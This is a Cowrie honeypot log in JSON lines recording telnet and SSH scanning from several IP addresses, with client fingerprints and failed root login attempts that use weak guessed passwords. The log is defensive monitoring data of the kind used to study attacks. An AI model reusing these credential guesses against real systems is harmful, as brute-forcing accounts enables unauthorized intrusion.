{"eventid":"cowrie.session.closed","duration":38.41308069229126,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:24.794043Z","src_ip":"192.119.13.58","session":"db0e78b55920","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54464,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ef4a47af108","protocol":"telnet","message":"New connection: 192.119.13.58:54464 (10.17.0.5:23) [session: 3ef4a47af108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:26.932309Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34928,"dst_ip":"10.17.0.5","dst_port":23,"session":"1639eb6f70dc","protocol":"telnet","message":"New connection: 192.119.13.58:34928 (10.17.0.5:23) [session: 1639eb6f70dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:36.148233Z"}
{"eventid":"cowrie.session.closed","duration":41.76945638656616,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:37.120529Z","src_ip":"192.119.13.58","session":"82169ae950ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40838,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe821e15c0f9","protocol":"telnet","message":"New connection: 192.119.13.58:40838 (10.17.0.5:23) [session: fe821e15c0f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:43.852530Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":50550,"dst_ip":"159.203.135.109","dst_port":22,"session":"81c42ba000da","protocol":"ssh","message":"New connection: 170.106.188.200:50550 (159.203.135.109:22) [session: 81c42ba000da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:44.740579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:44.746506Z","src_ip":"170.106.188.200","session":"81c42ba000da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:44.819382Z","src_ip":"170.106.188.200","session":"81c42ba000da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45482,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb2498f1a644","protocol":"telnet","message":"New connection: 192.119.13.58:45482 (10.17.0.5:23) [session: cb2498f1a644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:44.977654Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"romeo","message":"login attempt [root/romeo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:45.123321Z","src_ip":"170.106.188.200","session":"81c42ba000da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:46.193345Z","src_ip":"170.106.188.200","session":"81c42ba000da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":48004,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e2f7162777d","protocol":"ssh","message":"New connection: 186.4.240.226:48004 (159.203.135.109:22) [session: 1e2f7162777d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:49.873414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:49.877701Z","src_ip":"186.4.240.226","session":"1e2f7162777d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.897072553634644,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:49.946721Z","src_ip":"192.119.13.58","session":"2dcc9bdd1383","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:49.968255Z","src_ip":"186.4.240.226","session":"1e2f7162777d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"125125","message":"login attempt [root/125125] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:50.357190Z","src_ip":"186.4.240.226","session":"1e2f7162777d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:51.450133Z","src_ip":"186.4.240.226","session":"1e2f7162777d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.426153898239136,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:55.955787Z","src_ip":"192.119.13.58","session":"adff50109ea7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40084,"dst_ip":"10.17.0.5","dst_port":23,"session":"912c53fdc16b","protocol":"telnet","message":"New connection: 192.119.13.58:40084 (10.17.0.5:23) [session: 912c53fdc16b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:57.768283Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53822,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b067f874642","protocol":"telnet","message":"New connection: 192.119.13.58:53822 (10.17.0.5:23) [session: 0b067f874642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:01.150009Z"}
{"eventid":"cowrie.session.closed","duration":41.34510159492493,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:03.625197Z","src_ip":"192.119.13.58","session":"9875159df102","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.55790066719055,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:04.490124Z","src_ip":"192.119.13.58","session":"3ef4a47af108","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56260,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e3bb1df90e3","protocol":"telnet","message":"New connection: 192.119.13.58:56260 (10.17.0.5:23) [session: 5e3bb1df90e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:09.063444Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":53882,"dst_ip":"159.203.135.109","dst_port":22,"session":"b04cbe3a5ec0","protocol":"ssh","message":"New connection: 77.94.47.83:53882 (159.203.135.109:22) [session: b04cbe3a5ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:11.340823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:11.355966Z","src_ip":"77.94.47.83","session":"b04cbe3a5ec0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:11.485401Z","src_ip":"77.94.47.83","session":"b04cbe3a5ec0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty666","message":"login attempt [root/qwerty666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:11.868385Z","src_ip":"77.94.47.83","session":"b04cbe3a5ec0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:12.999014Z","src_ip":"77.94.47.83","session":"b04cbe3a5ec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":55866,"dst_ip":"159.203.135.109","dst_port":22,"session":"689064ec4cba","protocol":"ssh","message":"New connection: 103.101.216.219:55866 (159.203.135.109:22) [session: 689064ec4cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:14.571380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:14.580090Z","src_ip":"103.101.216.219","session":"689064ec4cba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:14.818466Z","src_ip":"103.101.216.219","session":"689064ec4cba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc!","message":"login attempt [root/123abc!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:15.805526Z","src_ip":"103.101.216.219","session":"689064ec4cba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.690945863723755,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:15.839074Z","src_ip":"192.119.13.58","session":"1639eb6f70dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:17.051532Z","src_ip":"103.101.216.219","session":"689064ec4cba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.992352724075317,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:17.055633Z","src_ip":"192.119.13.58","session":"5e3bb1df90e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.874367475509644,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:19.726780Z","src_ip":"192.119.13.58","session":"fe821e15c0f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":33148,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfd81bd56105","protocol":"ssh","message":"New connection: 80.66.85.226:33148 (10.17.0.5:22) [session: cfd81bd56105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:21.553921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:21.559111Z","src_ip":"80.66.85.226","session":"cfd81bd56105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:21.658209Z","src_ip":"80.66.85.226","session":"cfd81bd56105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qw12345","message":"login attempt [root/qw12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:21.948291Z","src_ip":"80.66.85.226","session":"cfd81bd56105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:23.044742Z","src_ip":"80.66.85.226","session":"cfd81bd56105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58966,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8d89fe9e233","protocol":"telnet","message":"New connection: 192.119.13.58:58966 (10.17.0.5:23) [session: b8d89fe9e233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:24.831215Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59984,"dst_ip":"10.17.0.5","dst_port":23,"session":"d23553f8f411","protocol":"telnet","message":"New connection: 192.119.13.58:59984 (10.17.0.5:23) [session: d23553f8f411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:25.115946Z"}
{"eventid":"cowrie.session.closed","duration":47.193150758743286,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:32.170687Z","src_ip":"192.119.13.58","session":"cb2498f1a644","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":43982,"dst_ip":"10.17.0.5","dst_port":22,"session":"b70ffca34a17","protocol":"ssh","message":"New connection: 194.59.206.2:43982 (10.17.0.5:22) [session: b70ffca34a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:32.510851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:32.515509Z","src_ip":"194.59.206.2","session":"b70ffca34a17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:32.601340Z","src_ip":"194.59.206.2","session":"b70ffca34a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:32.691961Z","src_ip":"194.59.206.2","session":"b70ffca34a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.9768488407135,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:35.744955Z","src_ip":"192.119.13.58","session":"912c53fdc16b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42744,"dst_ip":"10.17.0.5","dst_port":23,"session":"42c437740276","protocol":"telnet","message":"New connection: 192.119.13.58:42744 (10.17.0.5:23) [session: 42c437740276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:42.509026Z"}
{"eventid":"cowrie.session.closed","duration":45.904696464538574,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:47.054605Z","src_ip":"192.119.13.58","session":"0b067f874642","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":59960,"dst_ip":"159.203.135.109","dst_port":22,"session":"90a21cde4ed2","protocol":"ssh","message":"New connection: 170.106.188.200:59960 (159.203.135.109:22) [session: 90a21cde4ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:51.370980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:51.377225Z","src_ip":"170.106.188.200","session":"90a21cde4ed2","protocol":"ssh"}
